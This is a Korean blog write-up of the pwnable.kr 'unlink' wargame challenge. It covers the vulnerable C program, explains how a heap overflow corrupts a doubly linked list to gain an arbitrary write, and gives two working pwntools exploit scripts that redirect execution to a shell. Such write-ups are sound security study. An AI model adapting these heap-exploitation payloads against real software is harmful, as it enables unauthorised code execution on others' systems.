cgy12306

[pwnable.kr] unlink 본문

Wargame/pwnable.kr

[pwnable.kr] unlink

cgy12306 2020. 1. 27. 18:05

[unlink]


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

unlink가 호출되기 전의 상황을 보면

이런 상황으로 되어있는데 unlink가 호출이 되면

이렇게 된다.

해당 소스코드를 보면

gets(A->buf);

이 부분에서 오버플로우가 일어난다.

a값을 17개 넣은순간 Segmentation fault가 뜨는데 B의 fd값이 변조돼서 그렇다.

메인함수를 디셈블해서 보면

마지막 부분에 ebp-04 지점의 값을 ecx에 넣고, 다시 해당 값에서 -0x4 한 지점의 값을 esp에 넣는다.

이 후 ret을 수행하게 된다.

ret은 현재 esp 값을 eip에 넣어서 수행을 하게 되는데 우리가 원하는 지점으로 갈 수 있다는 말이 된다.

unlink 함수 부분을 보자.

이 부분이 A->fd 값을 C로, C->bk 값을 A로 바꾸는 부분이다.

ebp+8부분을 보면 주소값이 들어가 있는데 이 주소는 B->fd의 주소이다.

다시 분석을 해보면

이 부분은 ebp-0x4 지점에다가 &B->fd + 0x4한 지점이 갖고 있는 값을 넣어라 라는 말이다.

즉, ebp-0x4에 B->bk 값을 넣어라 라는 뜻이 된다.

이 부분도 역시 위에처럼 ebp-0x8에 b->fd 값을 넣어라라는 뜻이다.

스택을 생각해보면

B->fd(C) | B->bk(A) | sfp | ret 

이렇게 된다.

이 부분이 실질적으로 주소 교환이 이루어지는 부분이다.

B->fd를 따라가서 B->bk가 가지고 있는 값을 넣어라라는 뜻이다.

즉, C->fd에 A->fd 값을 넣어라라는 뜻이된다.

이 부분도 위처럼 A->fd에 C->fd 값을 넣어라라는 뜻이 된다.

우리가 오버플로우를 발생시켜서 B->fd 값을 변조 시킬 수 있으니 원하는 주소에 원하는 값을 넣을 수 있다는 말이 된다.

B->bk에 ebp-4의 주소를 넣고, B->fd에 특정 주소를 넣게 되면 unlink+38에 의해

[ebp-4] = 특정주소

이렇게 된다.

그러면 이제 우리는 B->fd에 어떤 값을 넣을지만 결정하면 된다.

다시 여기를 보면 ebp-0x4 지점의 값을 ecx에 넣고, ecx-0x4 지점의 값을 esp에 넣는다고 한다.

만약 ebp-0x4라는 지점에 B의 주소를 넣게 된다면 ecx값에는 B->fd값이 들어가고, B->fd의 주소에서 -0x4 한 지점의 값이 esp에 들어가게 된다.

그러면 우리는 &B->fd - 0x4 에 shell 주소를 넣으면 된다. 그리고 B->fd에 B의 주소값을 넣어주면 된다.

스택의 주소와 힙의 주소는 바이너리 시작할 때 알려준다.

바이너리에서 leak된 stack 주소와 ebp-0x4 지점의 거리는 0x10만큼 떨어져 있다.

다시 정리해보면 B->fd에 B의 주소, B->bk에 ebp-0x4의 주소, &B->fd - 0x4 지점에 shell 주소를 넣으면 된다.

from pwn import *

p = process('/home/unlink/unlink')

p.recvuntil('here is stack address leak: ')
stack = int(p.recv(10),16)

p.recvuntil('here is heap address leak: ')
heap = int(p.recv(10),16)

p.recv()
shell = 0x080484eb

payload  = 'A'*12
payload += p32(shell)
payload += p32(heap + 0x18)
payload += p32(stack + 0x10)

p.sendline(payload)
p.interactive()


원래 의도한 페이로드는 아래와 같다고 한다.

from pwn import *
context.arch = 'i386'    # i386 / arm
r = process(['/home/unlink/unlink'])
leak = r.recvuntil('shell!\n')
stack = int(leak.split('leak: 0x')[1][:8], 16)
heap = int(leak.split('leak: 0x')[2][:8], 16)
shell = 0x80484eb
payload = pack(shell)        # heap + 8  (new ret addr)
payload += pack(heap + 12)    # heap + 12 (this -4 becomes ESP at ret)
payload += '3333'        # heap + 16
payload += '4444'
payload += pack(stack - 0x20)    # eax. (address of old ebp of unlink) -4
payload += pack(heap + 16)    # edx.
r.sendline( payload )
r.interactive()

'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] memcpy  (0) 2020.01.27
[pwnable.kr] blukat  (0) 2020.01.27
[pwnable.kr] asm  (0) 2020.01.27
[pwnable.kr] cmd2  (0) 2020.01.27
[pwnable.kr] cmd1  (0) 2020.01.27
Comments